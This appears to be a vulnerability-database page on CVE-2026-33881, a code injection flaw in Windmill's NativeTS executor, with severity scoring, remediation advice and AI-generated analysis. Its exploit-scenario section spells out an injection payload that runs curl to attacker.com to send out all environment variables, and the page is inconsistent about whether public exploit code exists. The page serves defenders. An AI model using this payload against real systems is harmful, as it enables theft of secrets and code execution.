Skip to main content

Windmill CVE-2026-33881

| EUVDEUVD-2026-16820 HIGH
Code Injection (CWE-94)
2026-03-27 GitHub_M
7.3
CVSS 4.0 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Workspace admin creates environment variable
  2. Delivery
    Sets value containing unescaped single quote
  3. Exploit
    Variable interpolated into JavaScript string literal
  4. Execution
    Arbitrary JavaScript injected into NativeTS script
  5. Impact
    Malicious code executes in worker process

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires workspace admin privileges in Windmill versions prior to 1.664.0. Admin must create a custom environment variable with a value containing single quotes ('), which injects arbitrary JavaScript executed in all NativeTS scripts within that workspace. Affects NativeTS executor only.

Impact

Real-world risk is moderate despite the 7.3 CVSS score. The CVSS:4.0 vector shows network attack vector (AV:N) with low complexity (AC:L) but critically requires high privileges (PR:H), meaning only workspace administrators can exploit this. EPSS data not provided, but publicly available exploit code exists (E:P in vector), lowering the technical barrier for malicious insiders or compromised admin accounts. No CISA KEV listing indicates no confirmed active exploitation campaigns. The SSVC framework would likely classify this as 'Attend' rather than 'Act' due to the privilege requirement limiting automatability and widespread impact. Primary risk scenarios involve malicious insiders with admin access, supply chain attacks where attacker gains workspace admin credentials, or social engineering targeting privileged users. The high impact ratings (VC:H/VI:H/VA:H) are accurate if exploitation occurs, as arbitrary code execution enables data exfiltration, workflow manipulation, and denial of service within the workspace boundary. Organizations using Windmill in multi-tenant or low-trust admin environments face elevated risk compared to tightly controlled single-team deployments.

Exploit ScenarioDerived

A malicious insider with workspace administrator privileges or an external attacker who compromises admin credentials creates a custom environment variable named API_KEY with the value: 'dummy'; require('child_process').exec('curl attacker.com/exfil?data='+JSON.stringify(process.env)); var fake='. When any NativeTS script in the workspace executes and references environment variables, the injected JavaScript breaks out of the string literal context and executes arbitrary commands. The attacker exfiltrates all environment variables (potentially containing secrets for other services), establishes persistence by modifying workflow definitions, or pivots to adjacent systems accessible from the Windmill worker runtime. Publicly available exploit code exists, providing attackers with ready-made payloads requiring minimal modification for specific targets.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 27, 2026

JavaScript code injection in Windmill's NativeTS executor allows workspace administrators to achieve remote code execution by embedding malicious payloads in environment variable values. The vulnerability (CWE-94) stems from improper sanitization of single quotes when interpolating workspace environment variables into JavaScript string literals, enabling arbitrary code execution in all NativeTS scripts within the affected workspace. Windmill versions prior to 1.664.0 are affected. CVSS 7.3 reflects high confidentiality, integrity, and availability impact, though exploitation requires high privileges (workspace admin role). Publicly available exploit code exists, though no confirmed active exploitation (CISA KEV) at time of analysis.

RemediationAI

Upgrade to Windmill version 1.664.0 or later, which implements proper escaping of single quotes and other special characters during environment variable interpolation into JavaScript string literals. The vendor-released patch addresses the root cause in worker.rs by sanitizing user-controlled input before code generation. Organizations should prioritize this upgrade for any workspace where administrator roles are assigned to users beyond the core security team. Immediate mitigation steps for environments unable to upgrade include restricting workspace administrator permissions to only highly trusted personnel, auditing existing environment variable values for suspicious payloads (search for single quotes followed by semicolons or JavaScript keywords), and implementing monitoring for unusual NativeTS script behavior. After upgrading, review workspace environment variables and rotate any credentials that may have been exposed if exploitation is suspected. Full remediation guidance and patch details are documented in the GitHub Security Advisory at https://github.com/windmill-labs/windmill/security/advisories/GHSA-8q8j-mm3g-5c2q.

Affected VersionsENISA

windmill < 1.664.0

Affected Packages

euvd windmill fix: 1.664.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Windmill is an open-source developer platform (cpe:2.3:a:windmill-labs:windmill) for building internal tools, APIs, workflows, and background jobs. The NativeTS executor runs TypeScript/JavaScript code in a sandboxed environment. The vulnerability exists in worker.rs where workspace environment variables are interpolated into JavaScript string literals without proper escaping. CWE-94 (Improper Control of Generation of Code / Code Injection) occurs when untrusted data flows into executable code contexts without validation. In this case, a workspace admin setting an environment variable like ENV_VAR='foo'; maliciousCode(); var x=' would break out of the intended string literal boundary. The single quote character acts as a delimiter escape, allowing injection of arbitrary JavaScript that executes with the privileges of the NativeTS runtime across all scripts in that workspace. This is distinct from sandbox escape vulnerabilities and represents a pre-sandbox code generation flaw.

Know when Windmill gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 7.3 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Analysis Updated
Apr 16, 2026 - 06:12 EUVD-patch-fix
executive summary
Patch available
Apr 16, 2026 - 05:29 EUVD
1.664.0
CVE Published
Mar 27, 2026 - 20:34 nvd
HIGH 7.3

DescriptionGitHub Advisory

Windmill is an open-source developer platform for internal code: APIs, background jobs, workflows and UIs. Workspace environment variable values are interpolated into JavaScript string literals without escaping single quotes in the NativeTS executor. A workspace admin who sets a custom environment variable with a value containing ' can inject arbitrary JavaScript that executes inside every NativeTS script in that workspace. This is a code injection bug in worker.rs, not related to the sandbox/NSJAIL topic. Version 1.664.0 patches the issue.

Executive ViewAI

Why It Matters

Windmill versions prior to 1.664.0 contain a code injection vulnerability in the NativeTS executor that allows workspace administrators to execute arbitrary code across all TypeScript scripts within their workspace. This risk is elevated by the existence of public exploit code and affects organizations using Windmill for workflow automation or data processing, potentially compromising confidentiality, integrity, and availability of automated processes and sensitive data.

Business Impact: High
Compensating Controls

Vendor-released patch: Windmill 1.664.0 or later. If immediate patching is not feasible, restrict workspace administrator role to only trusted users, disable NativeTS executor in non-production environments, and implement code review and approval workflows for all script modifications before execution.

Threat Intelligence Overview

EPSS Score
0.0%
Top 87% exploitable
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy